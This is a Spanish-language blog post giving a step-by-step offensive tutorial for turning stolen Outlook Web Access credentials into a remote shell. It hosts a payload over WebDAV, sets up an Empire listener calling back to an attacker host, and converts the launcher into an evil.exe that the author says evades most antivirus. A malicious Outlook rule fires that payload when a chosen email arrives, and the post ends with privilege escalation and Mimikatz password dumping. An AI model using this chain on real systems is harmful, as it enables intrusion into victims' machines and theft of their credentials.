Obteniendo un shell remoto mediante una regla de Outlook maliciosa

En la página de SilentBreak Security encontraba un escenario que puede resultar bastante interesante para atacantes, pentesters, curiosos y demás fauna... 

Imagina que has conseguido las credenciales para acceder al correo electrónico de un usuario vía OWA, ya sea por fuera bruta, esnifando (las passwords graciosillos!), usando keyloggers, con alguna página de phishing, ... con lo que sea. A partir de ahí puedes obtener shell remoto de la máquina que está utilizando el usuario gracias a una simple regla de Outlook maliciosa. Algo también muy útil si trabajamos en un entorno Citrix y queremos obtener una shell remota del servidor XenApp.

Veamos cómo hacerlo en unos sencillos pasos...

1.- Primero tenemos que preparar la máquina del atacante para dejar accesible un ejecutable (a ser posible FuD) con el payload que más tarde nos permitirá abrir una sesión remota, por ej. vía Webdav en un Apache:


sudo apt-get update
sudo apt-get install apache2
sudo a2enmod dav
sudo a2enmod dav_fs
sudo service apache2 restart


O si estás en una LAN o quieres hacer una PoC sencillita, simplemente puedes dejar el ejecutable malicioso en una unidad de red o cualquier otro recurso compartido vía samba.

2.- luego ponemos nuestro servidor malicioso a escuchar (en una máquina virtual en un hosting gratuito o en un servidor comprometido para que la víctima nos devuelva la sesión en cuanto ejecute el payload. 


En este caso utilizamos Empire, un agente post-explotación escrito puramente en Powershell que se puede desplegar rápidamente y nos permite, entre otras cosas, elevar privilegios y ejecutar Mimikatz en la máquina comprometida. 
 
Con el imperio hemos topado...


Para hacer funcionar rápidamente Empire primero clonamos el repositorio git: 

git clone https://github.com/PowerShellEmpire/Empire.git

A continuación abrimos la consola:


./empire



y lanzamos el listener con 'info' para ver las opciones y 'execute':



Empire) > listeners

[*] Active listeners:

  ID    Name              Host                                 Type      Delay/Jitter   KillDate    Redirect Target
  --    ----              ----                                 -------   ------------   --------    ---------------
  1     test              http://192.168.11.128:8080           native    5/0.0                      

(Empire: listeners) > usestager launcher test
(Empire: stager/launcher) > execute

Ya lo tenemos el listener "test" escuchando en el puerto 8080 :-D


3.- Llega el momento de construir el payload y para ello copiaremos la línea anterior de Empire en un .bat (evil.bat) y con el programita "BAT to EXE Converter" lo convertiremos directamente en ejecutable (evil.exe):



Lo curioso es que prácticamente todos los antivirus se tragan el binario:
http://www.nodistribute.com/result/Rg7r0MJVZxKUh1PBfnqvO5bEI32

4.- Después construimos la regla en el outlook para que ejecute la aplicación evil.exe al recibir un correo con un determinado asunto, en el ejemplo 'hackplayers'. La siguiente imagen es autoexplicativa:



Si lo prefieres, puedes utilizar el siguiente script en Python de Nick Landers para automatizar la creación de la regla creando un .rwz que podremos importar en Outlook con el mismo resultado:

https://gist.github.com/monoxgas/7fec9ec0f3ab405773fc 
 
5.- Finalmente sólo nos queda probar y vemos como, al recibir el correo, obtenemos una sesión remota al ejecutarse silenciosamente evil.exe:



Y bueno, ya que tenemos un shell remoto, pues elevamos privilegios y ejecutamos mimikatz para obtener las contraseñas en claro... ;)

3 comentarios :

  1. Si señor, claro, conciso y educativo. Directo a fav.

    ResponderEliminar
  2. buen artículo. He estado trabajando con Empire y da mucho juego ;)

    ResponderEliminar